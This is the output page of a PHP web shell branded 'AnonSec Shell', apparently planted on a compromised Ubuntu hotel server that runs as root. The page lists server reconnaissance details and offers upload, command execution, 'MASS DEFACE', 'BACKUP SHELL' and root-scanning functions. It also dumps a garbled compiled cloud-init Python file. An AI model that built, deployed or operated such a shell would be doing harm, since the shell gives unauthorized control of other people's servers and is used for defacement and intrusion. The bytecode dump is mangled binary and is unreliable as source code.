AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_users_groups.cpython-310.pyc
o

x[hr�
@s�UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZdd	gegd
�Zee
d<e�e�ZdZd
Zdededededdf
dd�ZdS)z,Users and Groups: Configure users and groups�N)�Cloud)�Config)�
MetaSchema)�ug_util)�PER_INSTANCE�cc_users_groups�all)�id�distros�	frequency�activate_by_schema_keys�meta)�no_create_home�system)�ssh_authorized_keys�
ssh_import_id�ssh_redirect_user�name�cfg�cloud�args�returnc
s4t�||j�\}}t�|�\}}|��pg}|��D]\}}	|j�||	�q|��D]m\}
��fdd�tD�}�fdd�tD�}|rW|rWt	d|
�dd�
|��dd�
|�������dd	�}
|
r�d
�vsgd�vrmt	d|
��|
d
vryt	d|
|
f��|dur�t�
d|
|
�n|�d<|�d<|jj|
fi���q*dS)Nc�g|]	}��|�r|�qS���get��.0�key��configr�B/usr/lib/python3/dist-packages/cloudinit/config/cc_users_groups.py�
<listcomp>-�zhandle.<locals>.<listcomp>crrrrrrr!r".r#zNot creating user z	. Key(s) z, z cannot be provided with rFrrzdNot creating user %s. ssh_redirect_user cannot be provided with ssh_import_id or ssh_authorized_keys)T�defaultzfNot creating user %s. Invalid value of ssh_redirect_user: %s. Expected values: true, default or false.zzIgnoring ssh_redirect_user: %s for %s. No default_user defined. Perhaps missing cloud configuration users:  [default, ..].�cloud_public_ssh_keys)r�normalize_users_groups�distro�extract_default�get_public_ssh_keys�items�create_group�NO_HOME�	NEED_HOME�
ValueError�join�pop�LOG�warning�create_user)rrrr�users�groups�default_user�_user_config�
cloud_keys�members�user�no_home�	need_homerrrr!�handle#sL�������	�r=)�__doc__�logging�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosr�cloudinit.settingsrr
�__annotations__�	getLogger�__name__r1r,r-�str�listr=rrrr!�<module>s �
"

Anon7 - 2022
AnonSec Team